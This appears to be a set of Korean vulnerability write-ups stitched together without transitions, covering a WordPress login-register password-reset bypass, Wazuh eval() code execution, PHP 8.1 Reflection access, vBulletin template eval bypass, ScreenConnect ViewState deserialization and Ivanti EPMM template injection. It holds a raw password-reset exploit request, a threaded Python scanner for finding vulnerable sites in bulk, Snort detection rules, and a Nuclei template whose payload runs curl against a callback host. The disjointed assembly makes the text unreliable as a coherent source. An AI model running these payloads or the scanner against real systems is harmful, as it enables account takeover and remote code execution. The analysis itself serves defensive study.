- 공격자는 조작된 hash_check 값을 전달함으로써 사용자 검증을 우회하고 비밀번호를 임의로 재설정할 수 있음
① 공격자는 조작된 hash_check 값 (잘못된 UTF-8문자 : %C0, %80 등) 전달
> Login Register 위젯에서의 검사를 통과하여 password-recovery.php 템플릿 접근
② 조작된 hash_check 값은 esc_attr()로 잘못 필터링 되어 제거됨
> 필터링 된 값은 $user_hash_check 저장
③ $user_hash_check 값과 $user_hash 값을 비교
> 두 값의 !== 연산 결과 false가 되어 if문 통과
④ stm_new_password 매개변수로 전달한 값으로 비밀번호 재설정
> 접근 권한을 얻은 후 관리자로 로그인 및 지속성을 위해 새로운 관리자 계정 생성
POST /index.php/login-register/?user_id=3&hash_check=%80 HTTP/1.1 Host: [redacted] User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded stm_new_password=Testtest123%21%40%23
3. PoC
- 취약점 스캔 PoC [4]
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor
import threading
lock = threading.Lock()
with open("list.txt") as f:
domains = [line.strip().replace("http://", "").replace("https://", "") for line in f if line.strip()]
login_paths = [
"/login",
"/loginregister",
"/login-register",
"/my-account",
"/account",
"/signin",
"/sign-in",
"/register",
"/auth",
"/user/login",
"/user/signin",
"/forgot-password",
"/reset-password"
]
def check_login_form(full_url):
try:
res = requests.get(full_url, timeout=10, verify=False)
if res.status_code == 200 and "stm-login-form" in res.text:
return True
except:
pass
return False
def process_domain(domain):
checked = set()
base_url = f"https://{domain}"
try:
r = requests.get(base_url, timeout=10, verify=False)
if r.status_code != 200:
return
soup = BeautifulSoup(r.text, "html.parser")
if "stm-login-form" in r.text:
print(f"[✅] {domain} → found at homepage")
with lock:
with open("result.txt", "a") as f:
f.write(domain + "\n")
return
hrefs = set()
for a in soup.find_all("a", href=True):
href = a["href"]
if any(kw in href.lower() for kw in ["login", "register", "account", "signin", "forgot", "reset"]):
full_href = urljoin(base_url, href)
hrefs.add(full_href)
for path in login_paths:
hrefs.add(urljoin(base_url, path))
for link in hrefs:
normalized = urlparse(link)._replace(query="", fragment="").geturl()
if normalized in checked:
continue
checked.add(normalized)
if check_login_form(normalized):
print(f"[✅] {domain} → found at {normalized}")
with lock:
with open("result.txt", "a") as f:
f.write(domain + "\n")
break
except Exception as e:
print(f"[⚠️] {domain} → error: {e}")
print(f"[🚀] ready to check {len(domains)} domain...")
with ThreadPoolExecutor(max_workers=20) as executor:
executor.map(process_domain, domains)
print(f"[✔️] Done. all valid result at result.txt")
1 class APIRequestQueue(WazuhRequestQueue):
2 """
3 Represents a queue of API requests. This thread will be always in background, it will remain blocked until a
4 request is pushed into its request_queue. Then, it will answer the request and get blocked again.
5 """
6
7 def __init__(self, server):
8 super().__init__(server)
9 self.logger = logging.getLogger('wazuh').getChild('dapi')
10 self.logger.addFilter(wazuh.core.cluster.utils.ClusterFilter(tag='Cluster', subtag='D API'))
11
12 async def run(self):
13 while True:
14 names, request = (await self.request_queue.get()).split(' ', 1)
15 names = names.split('*', 1)
16 # name -> node name the request must be sent to. None if called from a worker node.
17 # id -> id of the request.
18 # request -> JSON containing request's necessary information
19 name_2 = '' if len(names) == 1 else names[1] + ' '
20
21 # Get reference to MasterHandler or WorkerHandler
22 try:
23 node = self.server.client if names[0] == 'master' else self.server.clients[names[0]]
24 except KeyError as e:
25 self.logger.error(
26 f"Error in DAPI request. The destination node is not connected or does not exist: {e}.")
27 continue
28
29 try:
30 request = json.loads(request, object_hook=c_common.as_wazuh_object)
31 self.logger.info("Receiving request: {} from {}".format(
32 request['f'].__name__, names[0] if not name_2 else '{} ({})'.format(names[0], names[1])))
33 result = await DistributedAPI(**request,
34 logger=self.logger,
35 node=node).distribute_function()
36 task_id = await node.send_string(json.dumps(result, cls=c_common.WazuhJSONEncoder).encode())
37 except Exception as e:
38 self.logger.error(f"Error in distributed API: {e}", exc_info=True)
39 task_id = b'Error in distributed API: ' + str(e).encode()
40
41 if task_id.startswith(b'Error'):
42 self.logger.error(task_id.decode(), exc_info=False)
43 result = await node.send_request(b'dapi_err', name_2.encode() + task_id)
44 else:
45 result = await node.send_request(b'dapi_res', name_2.encode() + task_id)
46 if not isinstance(result, WazuhException):
47 if result.startswith(b'Error'):
48 self.logger.error(result.decode(), exc_info=False)
49 else:
50 self.logger.error(result.message, exc_info=False)
- as_wazuh_object()는 JSON 내부에 "__unhandled_exc__" 값이 있을 경우 "__class__" 및 "__args__" 값을 사용해 eval()로 호출 (Line28 ~ 30) [5]
> 그러나 사용자 입력에 대한 적절한 검증 없이 eval()를 호출하여 임의 코드 실행이 가능
- PHP 8.1의 Reflection API 변화로 보호된 내부 API 메서드를 호출하여 원격 코드 실행이 가능한 인증 우회 취약점 (CVSS: 10.0)
- PHP ≤ 8.0 및 PHP ≥ 8.1 비교 [2]
> Reflection API의 동작 변화를 반영하지 않은 경우, 기존 접근 제어 우회 및 보호 메서드에 접근이 가능해짐
구분
설명
PHP ≤ 8.0
- Reflection API(ReflectionMethod::invoke()등)를 사용해 다른 클래스나 메서드에 접근할 경우 > 기본적으로 protected 또는 private 멤버에 접근 불가 > setAccessible(true)를 명시적으로 사용해야 protected 또는 private 멤버에 접근 가능
PHP ≥ 8.1
- Reflection API(ReflectionMethod::invoke()등)를 사용해 다른 클래스나 메서드에 접근할 경우 > setAccessible(true)를 명시적으로 사용하지 않아도 protected 또는 private 멤버에 접근 가능하도록 변경 > 코드 흐름 개선 및 개발 편의성 등으로 변경된 것으로 판단됨
[사진 2] PHP 버전 별 protected 메소드 접근 결과 비교 [3]
2. CVE-2025-48828
[사진 3] CVE-2025-48828 [4]
- 조작된 탬플릿 조건문을 통해 vBulletin 템플릿 엔진의 필터링을 우회하여 임의의 PHP 코드를 실행할 수 있는 원격 코드 실행 취약점 (CVSS: 9.0)
- vBulletin의 템플릿 조건문(<vb:if>)을 악용해 임의의 PHP 코드를 실행
> vBulletin의 템플릿 엔진은 <vb:if> 태그와 같은 조건문을 처리할 때, 내부적으로 eval() 함수를 사용하여 PHP 코드로 변환하고 실행
> vBulletin은 정규 표현식을 사용해 템플릿 파서에 안전하지 않은 함수의 실행을 막기위한 보안 검사를 실행
> PHP의 가변 함수 호출을 이용해 보안 검사를 우회하여 원격 코드 실행이 가능
- PHP 가변 함수 호출 > 변수를 사용해서 함수를 호출하는 것 [사진 3] PHP 가변 함수 호출
- 공격자가 시스템 수준 권한을 가진 상태에서 서버의 Machine Key를 탈취해 원격 코드 실행을 가능하게 하는 역직렬화 취약점
> ConnectWise는 ScreenConnect의 클라우드 버전에서 국가 배후 해커가 취약점을 악용해 공격 받은 사실을 공개 [4]
- 해당 취약점은 ASP.NET의 ViewState 처리 과정에서 역직렬화(Deserialization)가 안전하지 않게 구현된 데서 비롯됨
- ViewState > ASP.NET Web Forms에서 페이지의 상태(state)를 클라이언트에 저장하기 위한 메커니즘 > ASP.NET Web Forms에서 페이지 상태 유지를 위해 사용되는 직렬화된 데이터 > 사용자가 어떤 값을 입력하거나, 페이지에서 변경한 상태를 Postback 시에도 유지하기 위해 사용 > Base64로 인코딩되어 <input type="hidden"> 필드에 포함되어 전송
> web.config 파일에 ViewState의 무결성과 보안을 위해 다음 두 가지 키가 저장 [5]
Machine Key
설명
Validation Key
ViewState 데이터의 변조 여부를 확인하는 데 사용되는 키 값
Decryption Key
ViewState 데이터를 암/복호화하는데 사용되는 키 값
[사진 2] Machine Key
- 공격자가 조작된 요청으로 탈취한 Machine Key 또는 공개된(≒노출된) Machine Key를 사용해 악성 ViewState를 생성 및 전송 [6]
alert tcp any any -> any any (msg:"CVE-2025-4427/4428";flow:to_server,established;content:"GET";http_method;content:"/api/v2/featureusage"; http_uri;content:"format="; http_uri;)
alert tcp any any -> any any (msg:"CVE-2025-4427/4428";flow:to_server,established;content:"GET";http_method;content:"/api/v2/featureusage_history"; http_uri;content:"format="; http_uri;)
[Nuclei template]
id: CVE-2025-4427
info: name: Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution author: iamnoooob,rootxharsh,parthmalhotra,pdresearch severity: critical description: | An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection. reference: - hxxps://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2025-4427 cwe-id: CWE-288 epss-score: 0.00942 epss-percentile: 0.75063 metadata: verified: true max-request: 2 shodan-query: http.favicon.hash:"362091310" fofa-query: icon_hash="362091310" product: endpoint_manager_mobile vendor: ivanti tags: cve,cve2025,ivanti,epmm,rce,ssti
http: - raw: - | GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1 Host: {{Hostname}}
- | GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1 Host: {{Hostname}}
stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - "Format 'Process[pid=" - "localizedMessage" condition: and
- type: word part: interactsh_protocol words: - dns